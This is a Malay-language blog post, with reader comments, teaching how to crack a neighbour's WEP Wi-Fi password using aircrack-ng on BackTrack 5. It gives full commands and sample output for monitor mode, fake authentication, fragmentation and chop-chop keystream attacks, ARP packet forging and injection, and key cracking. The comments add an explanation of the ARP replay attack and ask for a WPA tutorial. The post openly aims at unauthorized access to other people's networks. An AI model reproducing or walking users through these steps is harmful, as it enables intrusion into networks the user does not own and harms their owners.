anda tahu macam mana nak guna aircrack?
jawapan = ya
sila tunjuk ajar
jawapan = tidak
meh sini aku nak ajar
apa itu aircrack?
aircrack ni sejenis koleksi software untuk anda hack password wifi jiran jiran anda
didalam tutorial ini, saya selaku speaker dan penulis blog pemalas yang tiada orang baca akan mengajar anda macam mana nak hack wifi jiran anda.
syarat syarat untuk anda hack
1. password wifi guna WEP open key. kalau wpa/wpa2 atau shared key, aku akan ajar lain kali
2. anda ada wifi kad, atau laptop
3. pemahaman bahasa melayu yang bagus, pastikan anda lulus UPSR bahasa melayu, kalau tidak sila lulus dahulu sebelum belajar macam mana hendak menggunakan aircrack
4. jiran anda ada wifi, kalau jiran anda tiada wifi, sila berpindah dan cari jiran yang berwifi
perkara yang anda perlukan
1. backtrack iso,guna yang latest iaitu backtrack 5. amik gnome, lagi senang
2. keyboard
3. pendrive
4. rokok
5. teh tarik
6. lighter
tutorial : aircrack
1. boot backtrack melalui pendrive anda, guna unetbootin, atau apa apa sahaja yang bole guna. pastikan anda boot ke desktop environment dengan menaip startx
2. run terminal, dan taipkan natang dibawah ini untuk menjalankan aplikasi aircrack.
airmon-ng start wlan0
kalau sistem respon dengan privillege something, hanya tambah sudo dihadapan airmon-ng
sudo airmon-ng start wlan0
tujuan ini dilakukan adalah untuk meletakkan wifi kad anda dalam monitor mode
sistem akan respon seperti ini
Interface Chipset Driver wifi0 Atheros madwifi-ng mon0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
3. run airodump untuk cari target anda. ini dilakukan supaya kita dapat informasi yang penting seperti target bssid, essid, channel dan sebagainya
airodump-ng mon0
okey sekarang, anda perlu ambil nota untuk beberapa perkara dibawah. catit!
1.essid target
2.bssid target
3.channel target
target dalam erti kata, wifi jiran anda
4. okey, tekan ctrl-c untuk menamatkan perkhidmatan airodump. selepas itu taip perkara dibawah
airmon-ng stop mon0
5. mulakan balik airmon-ng anda, cuma ada sedikit ubahsuai terhadap command sebelum ini
airmon-ng start wlan0 9
9 adelah refer kepada channel target yang nak dihack. dalam kes aku, jiran aku guna channel 9
6. langkah seterusnya adalah untuk kita melakukan "fake authentication attack"
aireplay-ng -1 6000 -o 1 -q 10 -e janganHack -a 00:14:6C:7E:40:80 mon0-e janganHack = essid target anda. kalau target anda nama HAMBEKHANG, taip -e HAMBEKHANG
-a 00:14:6C:7E:40:80 = bssid target anda.
mon0 = interface
pastikan sistem respon dengan perkara berikut atau anda mungkin tak berjaya ke langkah seterusnya. ingat, anda perlu berjaya authentication dan association.
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
7. bukak terminal baru. yang terminal sebelum ni biarkan idle. sekarang kita akan dapatkan key PRGA anda dengan fragmentation attack atau chop chop attack
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 mon0
-5 = fragmentation attack
-b = target bssid
-h = bssid kita, takmo letak pun takpe, delete line dari -h sampai abes F2 tu
mon0 = interface
kalau berjaya, sistem akan tunjuk seperti ini
aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 mon0
Waiting for a data packet...
Read 127 packets...
Size: 114, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = 01:00:5E:00:00:FB
Source MAC = 00:40:F4:77:E5:C9
0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@.
0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e
0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.).
0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^._CO..7?.M..;
0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O.
0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2......
0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj.
0x0070: 9c9f ..
Use this packet ? y
tekan y, dan sistem akan respon iniSaving chosen packet in replay_src-0203-180328.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0203-180343.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
oh yeah, anda sudah dapat key PRGA anda,tapi kalau anda tidak berjaya, gunakan chop chop attack.sama sahaja command diatas, cuma tukarkan -5 kepada -4
aireplay-ng -4 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 mon0
8. seterusnya, proses membuat ARP packet!, oh yeah baby. key PRGA yang kita dapat dalam step 7 adalah digunakan untuk step ini.
packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
-a = target mac address
-h = mac address sendiri
-k = toksah banyak tanye
-l = aku lempang karang
-y = file yang ade key PRGA tadi, dalam kes aku, aku just taip fra,tekan tab dan tekan enter.
-w = ini adelah untuk write ARP
9. okey sekarang, kita kene bukak terminal baru untuk launch airodump. terminal yang lama, biarkan. pastikan sekarang ada tiga terminal, ini adelah untuk capture IV reply dari access point yang nak dihack.
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture mon0
10. start injecting packet baby! oh yeah. pegi balik kat terminal yang kita buat step 8, then taipkan ini
aireplay-ng -2 -r arp-request mon0
sistem akan respon ini
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:09:5B:EC:EE:F2
0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[...
0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z...
0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8.
0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^
0x0040: 6ada 92f2 j...
Use this packet ? y
tekan y
perhatikan kat terminal yang ada airodump, aka step 9, packet arrive akan jadi sangat banyak. kalau takde packet yang datang, means something wrong. buat balik dari awal
11. masa untuk crack key anda. Nice one!!!.
bukak terminal baru, dan taipkan ini
aircrack-ng -b 00:14:6C:7E:40:80 capture*.capnyalakan rokok anda, dan biarkan aircrack melakukan tugasnya. kalau anda tidak menghisap rokok, sila termenung
kebiasaannya, anda akan dapat key wifi jiran anda dalam 5-10 minit, bergantung kepada panjang password. biasanya dalam 40k IV - 80k IV. jadi untuk mengelak dari kebosanan, anda perlu minum teh tarik yang ada
4 comments:
aiseh panjang gile. bahasa uganda plak tu. nasib baik la wifi umah aku dah laju. jhehe
hampeh lu. weh sori takpat pegi gathering,aku dah cuti sem la
aku datang blog ko ni sebab aku respek ko punya ilmu linux.nak tanya sikit, kalo -4=chop2 attack, -5= fragmentation attack, -3 plak apa ek?sebab aku selalu crack wifi pakai -3.saja2 tanya sebab nak bg lagi paham.selalu asyik guna command je tapi pahamnya tak.hahah
bila nak buat tutorial wpa bro?part dictionary x lepas lagi ni
-3 ni arp request reinjection. bermaksud, aircrack suite akan capture arp yang router broadcast, pastu akan sent balik arp tu. router akan balas balik, bersama sama dengan initialization vector(IV). tapi ada sebab kenapa aku tak guna -3. sebabnya untuk arp tu dibroadcast, connected user kene ping ip address yang ada, ataupon tak ada dalam network ni.
dalam kes aku, yang tak connected lagi, satu satu cara untuk aku ping dengan tuka MAC address aku kepada mac address yang dah already connected, dan kene buat fake authentication, dan juga lepas tu kene ping, dimana agak banyak.
target aku adalah untuk network yang tiada user, means tiada siapa connect ke network itu. -4 dengan -5 works perfectly.
bab wpa crack, itu payah sikit sebab kene ade dictionary list. nanti aku dah ade dictionary dia, aku try buat yer.
btw, thanx for reading this crappy post. :)
Post a Comment